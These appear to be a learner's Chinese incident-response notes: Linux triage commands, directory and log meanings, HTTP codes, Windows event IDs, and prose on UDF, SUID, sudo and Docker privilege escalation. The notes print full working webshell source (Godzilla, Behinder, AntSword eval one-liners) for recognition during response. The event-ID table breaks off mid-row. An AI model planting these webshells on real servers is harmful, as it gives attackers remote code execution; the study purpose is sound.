这个板块只要我学会一小块内容我就会继续接着往上更新修改
应急相应流程分为六个阶段
准备,检测,遏制,根除,恢复,跟踪
应急响应查找指令
查看进程
ps -aux
查看关联进程
ps -aux | grep pid
查看cpu占用率前十的进程
ps aux --sort=pcpu | head -10
查看除了不可登录以外的用户都有哪些,有没有新增的
cat /etc/passwd | grep -v nologin
查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。
stat /etc/passwd
查看当前登录用户,以及其登录ip。pts代表远程登录,tty代表本地登陆。
who
查看现在的时间、系统开机时长、目前多少用户登录,系统在过去的1分钟、5分钟和15分钟内的平均负载。
uptime
查看历史命令
history
查看端口开放和连接情况
netstat -pantu
查看开机启动项
systemctl list-unit-files | grep enabled
查看定时任务
crontab -l
查看其他用户的计划任务
crontab -u <用户名> -l
进程动态监控,默认根据cpu的占用情况进行排序的,按b可根据内存使用情况排序
top
监控指定程序
top -p pid
静态监控
ps -ef
统计爆破主机root账号的失败次数及ip
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
用于查看系统中所有服务的状态摘要
systemctl status <文件名.service>
待定?
find / -name ".*" 2>/dev/null | grep -v "^\/sys\/"
查看系统中 PID 为 1133 的进程的详细状态信息,可以将1133换成其他的
cat /proc/1133/status
查找设置了 SUID 权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
应急响应文件含义(默认情况下)
| 目录 | 含义 |
|---|---|
/bin | 存放系统启动时必须的基本命令,如 ls, cp, mv, cat 等,这些命令对于所有用户都可用。 |
/boot | 存放操作系统启动时所需的文件,主要包括内核文件(如 vmlinuz)和引导加载程序(如 GRUB 配置)。 |
/dev | 存放设备文件,用于访问硬件设备(如硬盘、显示器、鼠标、终端设备等),在 Linux 中设备是作为文件来操作的。 |
/etc | 存放系统和应用的配置文件,如用户账户信息(passwd)、网络配置(interfaces)等。 |
/home | 存放普通用户的个人数据和配置文件,每个用户都有一个子目录(如 /home/user)。 |
/opt | 存放可选的应用程序或软件包,通常是第三方应用或手动安装的应用。 |
/sys | 存放系统信息文件,提供内核和硬件的虚拟接口,用户和系统管理员可以通过它获取和修改系统运行状态。 |
/usr | 存放系统应用程序、共享库和文档等,包含多种子目录,如 /usr/bin(可执行文件)、/usr/lib(库文件)等。 |
/var | 存放系统中不断变化的数据,如日志文件、缓存、邮件、数据库等。 |
/root | 系统管理员(root 用户)的家目录,用于存放 root 用户的配置和数据。 |
/lib | 存放系统所需的共享库文件和内核模块,供 /bin 和 /sbin 中的程序调用。 |
/mnt | 临时挂载点,通常用于挂载外部存储设备(如 USB 设备、磁盘等)。 |
/media | 存放自动挂载的可移动设备文件系统,如 U 盘、光盘、外部硬盘等。 |
/proc | 虚拟文件系统,提供进程和系统信息,如进程状态、内存使用情况、硬件信息等。 |
/srv | 存放服务数据,通常用于存放 Web 服务器或其他服务提供的数据,如 /srv/www 用于 Web 服务。 |
/tmp | 临时文件存放目录,程序和系统可能会在这里创建临时文件,通常会定期清理。 |
/var/www/html | Web 服务器(如 Apache)的默认文档根目录,用于存放 Web 应用程序文件(如 HTML、PHP 文件等)。 |
/usr/local | 存放本地安装的软件及其配置文件,通常用于手动安装的应用程序,避免和系统包管理器的文件发生冲突。 |
/run | 存放系统运行时的临时数据,如当前的进程ID、系统状态等,通常是在系统启动时创建的。 |
/libexec | 存放系统和应用程序需要的辅助程序或脚本,通常这些程序并不是直接执行的,而是作为其他进程的支持工具。 |
/usr/share | 存放架构无关的共享数据,通常包括文档、帮助文件、图标、字体等。 |
/var/spool | 存放等待被处理的任务数据,如邮件队列、打印任务等。 |
/var/cache | 存放应用程序和系统使用的缓存文件,通常用于加速应用程序运行。 |
/var/lib | 存放应用程序状态数据,如数据库文件、应用程序生成的文件等。 |
/var/log | 存放系统日志文件,记录了系统和应用程序的运行日志,通常用于诊断和排错。 |
| /var/log/syslog | 记录系统的各种信息和错误。 |
| /var/log/auth.log | 记录身份验证相关的信息,如登录和认证失败。 |
| /var/log/kern.log | 记录内核生成的日志信息。 |
| /var/log/dmesg | 记录系统启动时内核产生的消息。 |
| /var/log/boot.log | 记录系统启动过程中的消息。 |
| /var/log/messages | 记录系统的广泛消息,包括启动和应用程序信息 |
| /var/log/secure | 记录安全相关的消息。 |
| /var/log/httpd | 记录Apache HTTP服务器的访问和错误日志。 |
| /var/log/nginx | 记录Nginx服务器的访问和错误日志 |
| /var/log/user.log | Linux 系统中记录用户级别的警告(warn)和通知(notice)类日志的文件。 |
| /var/log/alternatives.log | 是 Linux 系统中记录 “update-alternatives” 工具操作日志的文件 |
静态检测
特殊后缀结尾
查找危险函数
状态码
1xx (Informational) 信息性状态码,表示正在处理。
100:用户端应继续发送请求
101:切换协议
2xx (Success) 成功状态码,表示请求正常。
200:成功响应
201:请求已实现并且创建了新资源。
202:已接受请求,但尚未处理。
204:成功响应,但是这个响应不包含响应体,这个响应不应该引起浏览器视图变化。
205:成功响应,但是这个响应不包含响应体,并且这个响应要求引起浏览器视图变化。
3xx (Redirection) 重定向状态码,表示客户端需要进行附加操作。
301:永久重定向,目标网站已经永久转移到其他网址,浏览器将会缓存响应的URL。
302:临时重定向,目标网站暂时转移到其他网址,浏览器不会缓存响应的URL。
304: 使用的是缓存的数据
305: 使用代理,当前服务器并不负责返回响应,它只是转发请求的,让别的服务器去返回响应,然后它在转回数据
4xx (Client Error) 客户端错误状态码,表示服务器无法处理请求。
400:请求包含语法错误
401:当前请求需要进行用户验证
403:服务端成功接收请求,但拒绝执行。
404:用户端请求资源未找到
5xx (Server Error) 服务器错误状态码,表示服务器处理请求出错。
500:后台处理出错
502:网关接收到无效响应
503:暂时无法提供服务
504:网关长时间未接收到响应
安全日志相关时间ID
| ID | 意思 | 解释 |
|---|---|---|
| 4624 | 成功的账户登录事件 | 登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。 |
| 4625 | 账户登陆失败事件 | 记录未能登录的尝试,帮助检测密码爆破或非法访问。 |
| 4634 | 用户注销事件 | 记录用户主动注销,或超时后系统自动注销。 |
| 4672 | 特权账户登录事件 | 当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况 |
| 4688 | 新进程创建事件 | 记录进程的创建信息,能帮助检测恶意软件的执行情况 |
| 4697 | 系统上安装服务的事件 | 记录系统中安装的服务,可以检测未经授权的服务安装 |
| 4768 | Kerberos 认证票据授予(TGT)事件 | 与域控制器的身份验证有关,可以帮助分析域账号是否被滥用 |
| 4776 | NTLM 认证失败事件 | NTLM认证失败时记录,可以帮助检测异常的身份验证行为 |
| 4719 | 审计策略更改事件 | 系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹 |
| 4648 | 使用显式凭据登录 | 意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。 |
| 6005 | 事件日志服务启动 | 表示系统启动了事件日志服务,通常用于分析系统启动。 |
| 6006 | 事件日志服务停止 | 表示系统即将关机,通常配合其他日志判断系统是否被异常关机。 |
| 6008 | 非正常关机事件 | 系统意外关闭时记录,用于检测系统崩溃或强制关机。 |
| 7045 | 服务安装事件 | 记录系统中安装的新服务,通常用于分析是否有恶意服务被安装。 |
| 4720 | 用户账户创建事件 | 当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。 |
| 1000 | 应用程序崩溃事件 | 记录应用程序崩溃的详细信息,包括错误代码和故障模块名称 |
| 4621 | 应用程序挂起事件 | 用于分析应用程序无响应,卡死的原因 |
| 4647 | 用户主动注销 | 注销的用户名 |
| 4722 | 用户账户已启用 | 启用的账户名。 |
| 4725 | 用户账户已禁用 | 禁用的账户名。 |
| 4726 | 用户账户已删除 | 删除的账户名、删除者的账户名等。 |
| 4670 | 权限服务状态变更 | 对象名称、权限变更的细节等。 |
| 4673 | 特权服务已请求 | 请求的服务类型、用户账户名等。 |
| 4946 | Windows 防火墙规则添加 | 新的防火墙规则被添加,规则名称、添加者的账户名等。 |
| 4947 | Windows 防火墙规则修改 | 防火墙规则被修改,规则名称、修改的细节等。 |
| 4663 | 访问对象 | 用户尝试访问受保护的文件或对象,对象名称、访问的类型、用户账户名等。 |
| 7036 | 服务已更改状态 | 服务已更改状态(如启动或停止) |
| 4738 | 用户帐户已更改 | 用于创建、删除、修改等,是专门用于记录用户账户被修改的事件,包括但不限于用户名的修改。 |
| 1074 |
哥斯拉webshell源码
为什么要记录这些源码主要是还没学代码审计,想着在应急响应的时候如果遇到了webshell我能通过看一下是否相似来判断是什么webshell,虽然可能性不太大,但是有总比没有好。
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
冰蝎webshell源码
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
蚁剑webshell源码
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
MySQL提权
UDF提权
UDF 是数据库(如 MySQL、SQL Server)支持的自定义函数,允许用户编写额外逻辑扩展数据库功能。黑客利用数据库漏洞(如弱口令、SQL 注入)登录数据库后,上传恶意 UDF 文件到数据库指定目录,创建恶意函数,通过函数执行系统命令,最终将数据库权限提升为系统 root 权限。UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/
UDF提权的特点
关键配置的 “高危信号”
secure_file_priv为空:这个变量控制数据库读写外部文件的权限。当它为空时,数据库可以向任意目录写入文件。攻击者可利用SELECT ... INTO DUMPFILE语句,将恶意的 UDF 共享库(如.so或.dll文件)写入数据库的插件目录(如lib/plugin)secure_auth=OFF:允许低版本客户端用弱加密密码连接,意味着数据库可能存在弱口令风险,攻击者更容易获取高权限账号(如root),为后续 UDF 提权创造条件。
UDF 提权的 “逻辑链条”
UDF(用户自定义函数)提权的核心是通过恶意共享库执行系统命令。结合上述配置,攻击流程如下:
- 攻击者利用弱口令或其他漏洞获取数据库高权限(如
root)。 - 由于
secure_file_priv为空,攻击者将恶意 UDF 文件(如lib_mysqludf_sys.so)写入数据库的plugin目录。 - 通过
CREATE FUNCTION语句注册 UDF 函数(如sys_exec),从而执行系统命令(如whoami、添加管理员用户),实现从数据库权限到系统权限的提升。
SUID提权
这种提权应该是再刷靶场最长遇到的了,一般来说当一个文件具有suid的权限的时候,执行该文件的用户就可以临时获得该文件拥有者的权限,通常都是root用户的权限,当或者了这么高的权限那就可以执行一些高权限的操作,利用这些操作来获取root的权限。
一般情况下我们就需要去通过查找root用户的suid文件,尤其是要注意拥有可执行文件权限的文件,例如find这种。我们可以通过指令去查找suid的文件。
Sudo提权
这个一般就是知道了管理员的密码以后通过sudo提权获取,一般为了方便会把某些用户设置为无需密码,配置不当可能就会造成其他用户在不知道密码的情况下进行提权。
Docker提权
这是上次刷题发现的,但是忘记了是那个题了,当时属于是我看不了root目录下的东西,并且通过网上查阅知道了可以起一个docker然后来把所有文件打包到docker下,这就相当于我拥有的docker的root权限自然可以查看原来的root目录(不知道这么理解对不对,错误的话请师傅指出)。做完以后我对docker做了个总结
通过查阅发现了什么时候才能进行docker提权是因为,在容器配置漏洞或者不当设置的时候,突破了容器的限制,从而获得了主机的root权限。